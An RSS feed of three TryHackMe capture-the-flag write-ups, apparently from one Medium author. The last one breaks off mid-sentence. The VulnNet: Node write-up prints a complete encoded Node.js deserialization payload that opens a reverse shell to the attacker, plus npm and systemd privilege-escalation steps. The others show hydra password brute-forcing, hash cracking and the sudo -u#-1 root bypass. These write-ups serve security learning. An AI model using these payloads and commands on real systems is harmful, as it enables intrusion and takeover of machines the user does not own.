<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Zentreax on Medium]]></title>
        <description><![CDATA[Stories by Zentreax on Medium]]></description>
        <link>https://medium.com/@zentreax?source=rss-7b9c764c28b9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*HO6BRzJiihDSre7RfEt7CA.jpeg</url>
            <title>Stories by Zentreax on Medium</title>
            <link>https://medium.com/@zentreax?source=rss-7b9c764c28b9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 14:28:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@zentreax/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[tryhackme: vulnnet: node [writeup]]]></title>
            <link>https://zentreax.medium.com/tryhackme-vulnnet-node-writeup-59a06d553152?source=rss-7b9c764c28b9------2</link>
            <guid isPermaLink="false">https://medium.com/p/59a06d553152</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Zentreax]]></dc:creator>
            <pubDate>Fri, 30 Apr 2021 08:13:45 GMT</pubDate>
            <atom:updated>2021-04-30T08:13:45.043Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Hey! 👋</strong></p><p>Here’s my writeup for <a href="https://tryhackme.com/room/vulnnetnode"><strong>VulnNet: Node</strong></a>, an <strong>easy </strong>room on<a href="https://tryhackme.com/"><strong> TryHackMe</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tZ0HKpgRiVOJRw8yjO7_Bg.png" /></figure><p>Enjoy!</p><blockquote><strong>tl;dr<br></strong>This is a very simple and easy room, which was a lot of fun.<br>We start by finding a web server that runs on port 8080. It is Node.js and uses the Express framework.<br>We see that it assigns us a session cookie. Knowing about deserialization attacks, we find out that it is vulnerable. <br>We exploit this vulnerability to get a shell on the box. <br>On the box, we can execute npm commands as a serv-manage user. With a quick look at gtfo-bins, we have our user flag!<br>For root, we simply edit systemctl files that we have write permissions to and they will run as root. After we inject our reverse shell, we successfully got a root shell back and got our root flag!</blockquote><h3>Enumeration</h3><h4><strong>Nmap</strong></h4><p>First of all, we’re running a simple <a href="https://nmap.org/"><strong>nmap</strong></a> scan:</p><blockquote>nmap -sS -sV -sC 10.10.83.73</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*mOQUwPmqEzRNzFOrfNijmQ.png" /></figure><ul><li>-sS | TCP SYN port scan</li><li>-sV | Attempts to determine the version of the service running on port</li><li>-sC |Scan with default NSE scripts</li></ul><p>We can see 1 open port:</p><p><strong>8080 | HTTP</strong></p><p>Let’s take a look at the <strong>website </strong>on that port:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gf3jmZpstlCm02vAXuykyQ.png" /></figure><p>Looks like a news website :)<br>If we click around on it and check the source code, we won’t find anything.<br>We have only 1 other visible page, which is the <strong>login</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fvF6URAQf6R2mrqS5WUXyA.png" /></figure><p>When we try to log in and intercept the request, we see that nothing is transmitted because it is a <strong>GET </strong>request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n1apr2dERltOKDpWNwFs6w.png" /></figure><p>Looks like this is a dead end.</p><h4>Gobuster</h4><p>Let’s enumerate the directories with <a href="https://github.com/OJ/gobuster"><strong>gobuster</strong></a>:</p><blockquote>gobuster dir -u <a href="http://10.10.83.73:8080/">http://10.10.83.73:8080/</a> -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,zip,json</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kXy3sqMsWRMr60LD3_gofA.png" /><figcaption>Gobuster</figcaption></figure><p>Nothing too interesting, a look at the directories found tells us:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*9FzImg_vHRUygw6gYesqGw.png" /></figure><p>I have tried several <strong>HTTP </strong>requests with <a href="https://portswigger.net/burp"><strong>BurpSuite</strong></a>, but no luck.<br>This doesn’t look so good for us so far, we’ll have to keep looking at this.</p><h4>Cookies</h4><p>Let’s take a look at the “<strong>session</strong>” cookie we have.<br>Looks pretty normal, nothing too interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*aUHnrFZifwKpB_qgciLVQg.png" /></figure><p>However, since we already have some experience and know about <strong>cookie deserialization attacks</strong>, we google for some <strong>vulnerabilities</strong> in <strong>Node.js</strong>.</p><p>Aaand we come across this <strong>blog post</strong>:<br><a href="https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/">https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/</a></p><h3>Exploitation</h3><p>The <strong>blog post </strong>first explains <strong>how it works</strong>, and then we get to the “<strong>DIY</strong>” part.<br>They use <a href="https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py"><strong>nodejsshell.py</strong></a><strong> </strong>for generating a <strong>reverse shell</strong>, so let’s use it too!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gk9IIOI9B3cuGIQafIlGQg.png" /></figure><p>We specify our own<strong> IP</strong> and the<strong> port</strong> on which we want to <strong>intercept </strong>the <strong>reverse shell</strong>, then we copy everything after the <em>“[+] Encoding”</em>.</p><p>Now we follow the<strong> blog post</strong> and need to paste our generated<strong> shell</strong> into the following <strong>code</strong>:</p><pre>{&quot;rce&quot;:&quot;_$$ND_FUNC$$_function (){generated shell here}()&quot;}</pre><p>It must look something like this:</p><pre>{&quot;rce&quot;:&quot;_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,57,46,53,46,50,52,49,34,59,10,80,79,82,84,61,34,57,48,48,49,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()&quot;}</pre><p>Then, intercept the <strong>GET </strong>request to the <strong>website</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B9vt8qiDGCEGMf-qEuEjVg.png" /></figure><p>Put our <strong>code </strong>into the <strong>cookie</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e8GU3niKdIi4-ZQ5lV-RSg.png" /></figure><p>And <strong>base64 </strong>encode it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-YgU4MkCxLWg_0fIlu0gBA.png" /></figure><p>To make life <strong>easier</strong>, send this request to the <strong>repeater </strong>tab.</p><p>Now we just setup a <strong>listener</strong>, listening on our chosen <strong>port</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*wgUr47KjvxoBc5yZlVbp1A.png" /></figure><p>And send the <strong>request</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*eHQ9Y120bfR8k1HHug9aLw.png" /></figure><p>And we successfully got a <strong>shell </strong>on the <strong>box</strong>!</p><h3>User Flag</h3><p>First, we <strong>upgrade </strong>our <strong>shell</strong>:</p><blockquote>python3 -c ‘import pty;pty.spawn(“/bin/bash”)’</blockquote><p>Now we can go ahead and <strong>enumerate </strong>the machine.</p><p>I start off by checking which <strong>commands </strong>i can run as <strong>serv-manage</strong> while being <strong>www</strong>.</p><blockquote>sudo -l</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*NJnAizbvwJ5OnIUkQK5Txg.png" /></figure><p>We can run <strong>npm </strong>commands.. interesting?<br>Let’s quickly check <a href="https://gtfobins.github.io/"><strong>gtfo-bins</strong></a> for some <a href="https://gtfobins.github.io/gtfobins/npm/"><strong>npm </strong></a>entries.</p><p>And there we <strong>go</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*RTulkQxOxpxOvXWm5eHjZQ.png" /></figure><p>At this point we just need to <strong>follow </strong>the <strong>above</strong>.</p><p><strong>First</strong>, we navigate to a <strong>directory </strong>that we have <strong>write </strong>permissions to, such as <strong>/tmp</strong>.<br>Then we simply execute the <strong>following </strong>commands:</p><blockquote>mkdir exploits<br>echo ‘{“scripts”: {“preinstall”: “/bin/sh”}}’ &gt; exploits/package.json<br>sudo -u serv-manage /usr/bin/npm -C /tmp/exploits — unsafe-perm i</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*twmHAZ4Cf0FIvPtzKhOt_A.png" /></figure><p>And we have a <strong>shell </strong>as the <strong>serv-manage</strong> user! <br>Now we can grab the<strong> user.txt</strong> located in the user’s <strong>home</strong> directory.</p><h3>Root Flag</h3><p>As before, I first check what <strong>commands </strong>I can run as <strong>root </strong>while I am <strong>serv-manage</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*pDMImxuzkOLHdQHJ8JT1Cg.png" /></figure><p>Very <strong>interesting</strong>. We can run a <strong>system service</strong> as<strong> root</strong>.<br>Let’s <strong>locate </strong>where <strong>vulnnet-auto.timer</strong> is:</p><blockquote>locate vulnnet-auto.timer</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*WfbOUThsSnQq1NsgnsuFtQ.png" /></figure><p>Taking a look at the <strong>file</strong>,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*_Vo3bkr8YoEawVbWOXVZ-w.png" /></figure><p>we can see that it’s calling another <strong>file</strong>:</p><blockquote>vulnnet-job.service</blockquote><p>Let’s look at this one:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*IEXcA70QjohWpvMH_fliRA.png" /></figure><blockquote>ExecStart=/bin/df</blockquote><p>Hmmm… seems to be running a <strong>command</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*ea4pzNKV01YTanLVNxl49A.png" /></figure><p>And we have <strong>write access</strong>!</p><p>I <strong>transferred </strong>the file to my computer with <strong>netcat</strong>, <strong>modified </strong>it and then <strong>downloaded </strong>it again with <strong>cURL</strong>.</p><p>I just added a simple <strong>bash reverse shell</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*8GviIQt18zKNSwe0MCcQEw.png" /></figure><p>Make sure you start a <strong>listener </strong>again on the port you <strong>specified</strong>.</p><p>Now, with the <strong>modified </strong>file on the <strong>box</strong>, let’s try to get it to <strong>run</strong>:</p><blockquote>sudo -u root /bin/systemctl daemon-reload<br>sudo -u root /bin/systemctl stop vulnnet-auto.timer<br>sudo -u root /bin/systemctl start vulnnet-auto.timer</blockquote><p>And...</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*9iuw1T301fjTKfk33zANew.png" /></figure><p>We got ourselves a <strong>root shell</strong>!<br>Now we can grab the <strong>root.txt</strong> located in the <strong>root</strong> directory.</p><h3>Conclusion</h3><p><em>We completed the room :)</em></p><p>This was a nice &amp; easy room, that combined the basics of<strong> </strong>Enumeration, Cookie deserialization &amp; Privilege escalation.</p><p>Feel free to leave feedback and read my other posts, you can find them <a href="https://zentreax.medium.com/"><strong>here</strong></a>.</p><p><strong>Cheers!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=59a06d553152" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[tryhackme: agent sudo [writeup]]]></title>
            <link>https://zentreax.medium.com/tryhackme-agent-sudo-writeup-74e79473e2da?source=rss-7b9c764c28b9------2</link>
            <guid isPermaLink="false">https://medium.com/p/74e79473e2da</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[beginner]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Zentreax]]></dc:creator>
            <pubDate>Tue, 10 Nov 2020 19:13:32 GMT</pubDate>
            <atom:updated>2020-11-11T18:38:25.194Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Hey! 👋</strong></p><p>Here’s my writeup for <a href="https://tryhackme.com/room/agentsudoctf"><strong>Agent Sudo</strong></a>, an <strong>easy</strong> room on <a href="https://tryhackme.com/"><strong>TryHackMe</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TcX08NTstWHXRmtSBDDR8A.png" /></figure><p>Enjoy!</p><h3><strong>Enumeration</strong></h3><p><em>Enumerate the machine and get all the important information.</em></p><p>Let’s start off by running a simple <a href="https://nmap.org/"><strong>nmap</strong></a> scan:</p><blockquote>nmap -p- -A -T4 10.10.1.238</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DGrSPdjAOWH66yPvYXBvwQ.png" /></figure><ul><li>-p- | Port scan all ports</li><li>-A | enable OS and version detection, script scanning, and traceroute</li><li>-T4 | faster execution</li></ul><p>We can see 3 open Ports:</p><p><strong>21 FTP | 22 SSH | 80 HTTP</strong></p><p>Let’s take a look at the <strong>website </strong>first:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RqvGfytwmYZGswbOs27avg.png" /></figure><p>Not much to see here, but there’s a very <strong>important</strong> detail. Every agent should use their own <strong>codename</strong> as <strong>user-agent</strong> when visiting the site. We also see that the agents use a single letter as their <strong>codename</strong>.</p><p>Open <a href="https://portswigger.net/burp"><strong>Burp Suite</strong></a><strong> </strong>and start intercepting:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*P0eqx6UrbvPe89N3c6QzuA.png" /></figure><p>Now, change the <strong>User-Agent </strong>to<strong> R</strong>,<strong> </strong>so we can visit the website as <strong>Agent R</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*OKqF1OymDV2YKkvjtR_AUg.png" /></figure><p>Forward the Request and let’s see what we got:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Hu0JKFiOyEm_GXnceMuIg.png" /></figure><p>Dammit! No access to anything here — but now we know that there are <strong>25 agents</strong>. Since we assume they all got a <strong>single char</strong> for their <strong>codenames</strong>, we can try some out. Send the Request to the Repeater and start.</p><p>I began with the letter<strong> A</strong> and went up the alphabet until the letter<strong> C</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DNgNsgfkx-BB_x6eMDOc_g.png" /></figure><p>We can see that the <strong>Location </strong>has changed. Let’s inspect the website again using <strong>C</strong> as the <strong>User-Agent</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JKpHMJTNOzz69LPCdJ2_LA.png" /></figure><p>Finally! Looks like we got some juicy details that an attacker <strong>shouldn’t</strong> have. We can see that <strong>chris </strong>is using a <strong>weak password</strong> and we get the information that an <strong>Agent J</strong> exists.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*IxRnpvoJVZX58QaSXNHVIw.png" /></figure><p>I also tried to visit the site as <strong>Agent J</strong>, but nothing to see there.</p><p>Running <a href="https://github.com/OJ/gobuster"><strong>gobuster</strong></a><strong> </strong>with every Agent doesn’t provide any results.</p><p>Don’t forget to answer your questions on TryHackMe:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jytZPxTCg3WRWGUMCQF7PQ.png" /></figure><h3>Hash cracking and brute-force</h3><p><em>Done enumerating the machine? Time to brute your way out.</em></p><p>Remember that<strong> chris</strong> is using a <strong>weak password</strong>?</p><p>Let’s try to crack it using <a href="https://tools.kali.org/password-attacks/hydra"><strong>hydra</strong></a>. We’re attacking <strong>FTP</strong> on <strong>Port 21 </strong>with the <strong>rockyou.txt</strong> wordlist.</p><blockquote>hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.1.238 -I</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6-Bcxp7GIFv7p5rZbjVPrw.png" /></figure><p>Hit! Hydra found a <strong>valid</strong> password for <strong>chris</strong>.</p><p>Now, log into <strong>FTP</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NaesbDnc0vy6if5LCA1fXw.png" /></figure><p>Great. Take a look at the files on the system:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zW316IzvIPwcvUeKToR0lQ.png" /></figure><p>We can see <strong>3 files</strong>, <strong>download</strong> them for further inspection. Let’s open the <strong>txt file</strong> first:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*exk0Ge9FwyMSzM2Oqa_ogg.png" /></figure><p>We can see that<strong> Agent J</strong>’s login <strong>password</strong> is somehow stored in the <strong>pictures</strong>. That means, that we have to do some <strong>Steganography.</strong></p><p>Looking at the pictures doesn’t reveal anything, but maybe they contain some useful metadata? Let’s inspect them using <a href="https://exiftool.org/"><strong>ExifTool</strong></a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kuM4n1QVg-uip9bU7l3O0Q.png" /></figure><p>Nope, nothing to get here.</p><p>Since its probably a <strong>file hidden</strong> in the picture, we can try to use <a href="https://tools.kali.org/forensics/binwalk"><strong>Binwalk</strong></a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SyixowytzySvfKP3wvNz0Q.png" /></figure><p><strong>Binwalk </strong>reveals, that<strong> cutie.png</strong> indeed contains a <strong>zip archive</strong>. The cool thing is, that <strong>Binwalk</strong> also <strong>extracts</strong> it. You should see a <em>“_cutie.png.extracted”</em> in your directory.</p><p>Navigate into it and look at the files that were extracted:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HJewhvsNi-uK_SrnN8IiqQ.png" /></figure><p>To <strong>extract </strong>the new <strong>zip archive</strong>, we need a <strong>password</strong>. We will use <a href="https://www.openwall.com/john/"><strong>John the Ripper</strong></a><strong> </strong>to crack it.</p><p>First of all, we need to generate a hash to crack with <strong>zip2john:</strong></p><blockquote>sudo zip2john 8702.zip &gt; zip.hash</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YIVk-h-PAimDByBaL8qrEA.png" /></figure><p>The hash got saved to <strong>zip.hash</strong>.</p><p>Now we can start to <strong>bruteforce </strong>for it. We will use <strong>rockyou.txt</strong> again for our <strong>wordlist</strong>.</p><blockquote>john — format=zip — wordlist=/usr/share/wordlists/rockyou.txt zip.hash</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zyoHQcKHLtzwaMLfsdbLpQ.png" /></figure><p>Password found! <strong>Extract </strong>the <strong>password protected zip archive</strong> with our newly found password.</p><p>Looking at it’s <strong>contents</strong>, we see a <strong>txt file</strong>. Let’s read it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KNI4wrxAvFZSZ5A-2EgvA.png" /></figure><p>We get some <strong>encoded </strong>name as recipient. Let’s <strong>decode </strong>it using <strong>Base64</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lPl0RCMt09NQ7BJtkNQmXA.png" /></figure><p>Now it looks more like an actual reciepant. Nice.</p><p>There are also some “real” alien pictures included in the archive. Knowing a potential new password, we can use <a href="https://cybermemos.com/cyber-security/installing-steghide-on-kali-linux/"><strong>Steghide</strong></a> to get extract more information from them:</p><blockquote>steghide extract -sf cute-alien.jpg</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IlfvcJzJBaVtjJYkPU-Esw.png" /></figure><p>And there was another message hidden in the image. Let’s read it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZBuxa54RLALcN8Zr85IPrA.png" /></figure><p>Nice! We got <strong>Agent J</strong>’s <strong>name </strong>&amp; <strong>password</strong>.</p><p>Let’s use these <strong>credentials</strong> to log into <strong>SSH </strong>on <strong>Port 22</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZHfifDzgCpEPROkU-a92Kg.png" /></figure><p><strong>We’re in!</strong></p><p>Now we got everything to answer the questions for this section:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FOqgCei_RUtNPiulokpbbA.png" /></figure><h3>Capture the user flag</h3><p><em>You know the drill.</em></p><p>Running <strong>ls </strong>will give us the user flag &amp; another image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4zJd6wSe3xDbSiMDew4IcA.png" /><figcaption>cat user_flag.txt</figcaption></figure><p>Let’s download the image:</p><blockquote>scp james@10.10.1.238:Alien_autospy.jpg ~/Desktop</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zm9zU9AwYSdL5ItMLgFm4A.png" /></figure><p>And open it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*XPWLlexHO3ToWYF2dxDaWg.png" /><figcaption>Alien_autospy.jpg</figcaption></figure><p>We’re asked to name the incident of this photo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D5wpI5oEIWdl63SMNtYCXQ.png" /></figure><p>The easiest way to do this, is by running it through <a href="https://images.google.com/"><strong>google reverse image search</strong></a>.</p><p>Doing this gives us multiple articles about this photo.</p><h3>Privilege escalation</h3><p><em>Enough with the extraordinary stuff? Time to get real.</em></p><p>The <strong>last goal</strong> is to get <strong>root</strong>.</p><p>I start off by checking which <strong>commands </strong>i can run as <strong>root </strong>while being a <strong>normal user</strong>.</p><blockquote>sudo -l</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gpXpPrttlcnG9TwlADKAOA.png" /></figure><p>We can see that we can run /bin/bash as root. From experience we can say that this is bad. Let’s try to find out how we can abuse this misconfiguration. A quick google search brought <a href="https://www.sudo.ws/alerts/minus_1_uid.html"><strong>CVE-2019–14287</strong></a> up.</p><p>According to the <strong>description</strong>, we can get <strong>root </strong>by running following command:</p><blockquote>sudo -u#-1 /bin/bash</blockquote><p>Let’s try it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TEXgfPO58mjbiIX1SCZBzA.png" /></figure><p>It worked! We’re now <strong>root </strong>and we can grab the<strong> root flag</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DqiNLr0WK7XXpYTNOR6RTg.png" /></figure><h3>Conclusion</h3><p><em>We completed the room :)</em></p><p>This was a nice &amp; easy room, that combined the basics of Enumeration, Cracking &amp; Steganography.</p><p>Feel free to leave feedback &amp; to checkout my other writeups, you can find them <a href="https://zentreax.medium.com/"><strong>here</strong></a>.</p><p>Cheers!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74e79473e2da" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[tryhackme: bounty hacker [writeup]]]></title>
            <link>https://zentreax.medium.com/tryhackme-bounty-hacker-writeup-f828230d1866?source=rss-7b9c764c28b9------2</link>
            <guid isPermaLink="false">https://medium.com/p/f828230d1866</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[beginner]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Zentreax]]></dc:creator>
            <pubDate>Thu, 29 Oct 2020 19:04:19 GMT</pubDate>
            <atom:updated>2020-10-29T19:19:52.634Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Hey! 👋</strong></p><p>Here’s my writeup for <a href="https://tryhackme.com/room/cowboyhacker"><strong>Bounty Hacker</strong></a>, an <strong>easy </strong>room on<strong> </strong><a href="https://tryhackme.com/"><strong>TryHackMe</strong></a><strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-JlQwqryux5Zf9Cq.png" /></figure><p>Enjoy!</p><p>First of all, we’re running a simple <a href="https://nmap.org/"><strong>nmap</strong></a> scan:</p><blockquote>nmap -p- -A -T4 10.10.16.17</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/0*GdHo8UN0c2uVc6Hh.png" /></figure><p>We can see 3 open Ports:</p><p><strong>21 FTP | 22 SSH | 80 HTTP</strong></p><p>We can also see, that <strong>Anonymous FTP login</strong> is <strong>allowed.</strong></p><p>So — let’s try logging in:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/0*zTPsQBZw3WdbQxXi.png" /></figure><p>We’re in! Check the directory with <strong>ls </strong>and you’ll see 2 very interesting files.</p><p>Let’s go ahead and download them to our machine for further inspection:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/0*jIBa3cLZ8wzbRbtM.png" /></figure><p>Great. Take a look inside them:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/275/1*PzFPuAjsubR8fo2TyLGp9g.png" /><figcaption>locks.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*s9aSjkogtif0w5pGRxBwNg.png" /><figcaption>task.txt</figcaption></figure><p><strong>locks.txt</strong> obviously looks like a password file &amp; <strong>task.txt</strong> contains a username. Inserting the username into the question, it just proves to us that<strong> lin</strong> is indeed a valid username:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/0*c5aX6BSevaKY-39g.png" /></figure><p>The <strong>nmap </strong>scan also revealed, that there is <strong>SSH </strong>open on <strong>Port 21</strong>. Since we got a username &amp; a password list, let’s try to bruteforce it using <strong>THC Hydra</strong>:</p><blockquote>hydra -l lin -P locks.txt 10.10.10.16.71 -t 4 ssh</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j4-N6vRbGUqcLEuvVJmhfg.png" /></figure><p>Aaand we found valid credentials! Don’t forget to answer the questions while we’re at it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/0*ax7KSKT5ta9cIbbe.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*c0-FiW3Xc7i06EW7jQgpGw.png" /></figure><p>Now, let’s try to log in with the found credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/0*Um87Lvu5web9BpAi.png" /></figure><p>It worked! We gained <strong>user access</strong> now! Grab the user flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*F3izWQ1xn3vzbOHCSFBcbg.png" /></figure><p>And paste it 